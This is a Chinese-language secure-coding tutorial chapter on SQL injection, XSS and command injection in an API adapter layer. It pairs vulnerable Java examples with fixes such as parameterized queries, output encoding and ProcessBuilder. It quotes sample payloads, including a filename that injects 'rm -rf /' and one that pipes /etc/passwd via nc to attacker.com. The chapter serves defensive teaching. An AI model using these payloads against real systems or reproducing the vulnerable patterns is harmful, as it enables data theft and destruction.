2. 输入验证陷阱:SQL注入、XSS与命令注入

接口适配层,说白了就是数据的「海关」。所有外部输入都要在这里过一遍安检。但很多团队只做了格式校验——比如字段不能为空、长度不能超限——却忽略了最致命的问题:输入里可能藏着可执行的代码。

我见过太多系统,适配层写得漂漂亮亮,结果一个精心构造的字符串打过来,数据库裸奔、用户会话被盗、服务器被远程控制。嗯,这章我们就来拆解这三个最经典的输入验证陷阱。

核心观点:接口适配层是安全的第一道防线,也是最后一道防线。所有外部输入都是不可信的,必须经过严格的验证、转义或参数化处理。
接口适配层输入验证陷阱 外部输入 SQL注入 拼接查询字符串 绕过认证 / 拖库 防御:参数化查询 XSS攻击 未转义输出到页面 窃取Cookie / 会话劫持 防御:输出编码 + CSP 命令注入 调用系统命令 远程执行 / 提权 防御:禁用shell执行 所有外部输入 → 验证 + 转义 + 参数化

2.1 SQL注入:接口适配层的「老熟人」

SQL注入的原理其实很简单:应用程序把用户输入直接拼接到SQL语句里,攻击者通过构造特殊字符(比如单引号、注释符)来改变SQL的语义。你想想看,本来想查一条记录,结果变成了删一张表。

接口适配层为什么特别容易中招?因为很多适配器要动态拼接查询条件。比如根据不同的请求参数组装不同的WHERE子句,或者把前端传过来的排序字段直接拼到ORDER BY后面。我见过最离谱的一个案例——适配层直接把整个SQL语句作为参数传进来,后端只做了一次base64解码就执行了。

高危场景:接口适配层中,以下操作极易引入SQL注入:
• 动态拼接表名或字段名
• 将用户输入直接放入LIKE子句
• 使用字符串拼接构建IN子句
• 将排序字段、分页参数直接拼入SQL

一个典型的漏洞示例

// 危险!直接拼接用户输入
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

攻击者只要传入 username = admin' --,后面的密码验证就被注释掉了。更狠的可以传 '; DROP TABLE users; --。嗯,我在项目中遇到过,一个内部管理系统的登录接口就是这么被攻破的,还好只是测试环境。

正确的防御姿势

我个人习惯,只要涉及数据库操作,一律使用参数化查询(PreparedStatement)。这是最根本的防御手段,没有之一。

// 安全!使用参数化查询
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
避坑指南:我曾经以为MyBatis的#{}就是安全的,直到发现有人在XML里写了${orderBy}。记住:#{} 是参数化绑定,${}是字符串替换——后者依然存在注入风险。对于动态排序字段这种必须用${}的场景,一定要做白名单校验。

2.2 XSS攻击:接口返回里的「特洛伊木马」

XSS(跨站脚本攻击)在接口适配层里经常被忽视。为什么?因为很多后端开发觉得XSS是前端的事。但你想过没有——接口返回的数据里如果嵌入了恶意脚本,前端直接渲染到页面上,用户的浏览器就变成了攻击者的傀儡。

接口适配层的XSS风险主要出现在两个地方:

  • 数据透传接口:适配层从上游系统获取数据,不做任何处理直接返回给前端。如果上游数据被污染,下游全遭殃。
  • 错误信息接口:把用户输入原样返回到错误提示里。比如「用户 [恶意脚本] 不存在」,如果前端直接innerHTML,脚本就执行了。

接口场景示例

// 危险!直接返回用户输入
@GetMapping("/api/user/profile")
public String getUserProfile(@RequestParam String username) {
    // 假设从数据库查询到用户昵称是 <script>alert('xss')</script>
    return "{\"nickname\": \"" + nickname + "\"}";
}

前端拿到这个JSON后,如果直接用 innerHTML 渲染昵称字段,脚本就会执行。你想想看,攻击者完全可以构造一个获取Cookie的脚本,然后悄悄发到自己的服务器上。

防御方案

我建议在接口适配层做两层防护:

层级 措施 说明
输出编码 HTML实体编码 将 < 转为 &lt;,> 转为 &gt;
内容安全策略 CSP头 设置 Content-Security-Policy 限制脚本来源
输入过滤 白名单策略 只允许预期的字符集,拒绝特殊字符
最佳实践:接口适配层返回数据时,对字符串类型的字段统一做HTML实体编码。不要指望前端帮你做——你永远不知道下游会怎么消费你的接口。

2.3 命令注入:适配层里的「隐形后门」

命令注入是我认为最危险的一种注入。为什么?因为SQL注入最多让你操作数据库,XSS最多让你操作浏览器,但命令注入——攻击者可以直接在你的服务器上执行系统命令。

接口适配层为什么容易引入命令注入?因为适配器经常要调用外部程序。比如:

  • 文件格式转换(调用ImageMagick、FFmpeg)
  • PDF生成(调用wkhtmltopdf)
  • 网络诊断(调用ping、traceroute)
  • 压缩解压(调用zip、tar)

我遇到过最典型的案例:一个文件上传适配器,用户上传图片后调用ImageMagick做缩略图。适配层直接把文件名拼到了命令行里——攻击者上传一个叫 image; rm -rf / 的文件,你猜会发生什么?

漏洞代码示例

// 危险!直接拼接系统命令
String filename = request.getParameter("filename");
String cmd = "convert " + filename + " -resize 200x200 /output/thumb.jpg";
Runtime.getRuntime().exec(cmd);

攻击者传入 filename = test.jpg; cat /etc/passwd | nc attacker.com 4444,你的服务器密码文件就被悄悄传走了。

防御策略

我个人习惯,在接口适配层遵循以下原则:

  1. 能不调用系统命令就别调。能用Java/Python库实现的,就不要走shell。
  2. 必须调用的,用白名单参数。比如文件名只允许字母、数字、下划线和点。
  3. 使用安全的API。比如Java的ProcessBuilder可以避免shell注入。
// 安全!使用ProcessBuilder,避免shell解释
ProcessBuilder pb = new ProcessBuilder(
    "convert", 
    sanitizedFilename,  // 已经过白名单校验
    "-resize", "200x200",
    "/output/thumb.jpg"
);
pb.start();
特别注意:很多人以为用ProcessBuilder就安全了,但如果参数里包含空格或特殊字符,ProcessBuilder会自动处理。但如果你调用了cmd /c或bash -c,那又回到了shell执行的坑里。记住:永远不要启动shell来执行命令。

2.4 适配层输入验证的通用原则

讲了三种注入,其实核心思想就一条:信任边界。接口适配层就是信任边界——所有跨过这条边的数据,都必须经过安检。

验证维度 检查内容 示例
类型验证 确保数据类型符合预期 整数参数不能传字符串
长度验证 限制输入的最大长度 用户名不超过50字符
格式验证 使用正则或白名单 邮箱必须符合RFC 5322
语义验证 检查业务逻辑合理性 金额不能为负数
转义处理 对输出进行编码 HTML实体编码、SQL参数化
我的习惯:在接口适配层统一加一个输入验证过滤器,对所有入参做一次「消毒」。不要相信任何一个字段——包括看似安全的数字和布尔值。我曾经见过一个攻击者把布尔值传成字符串,绕过了类型检查,最后在ORM层触发了SQL注入。

好了,这一章的内容就到这里。三种注入的套路不同,但解法相通:不信任、不拼接、不偷懒。下一层防御,我们聊聊认证与授权的适配问题——那又是另一片雷区了。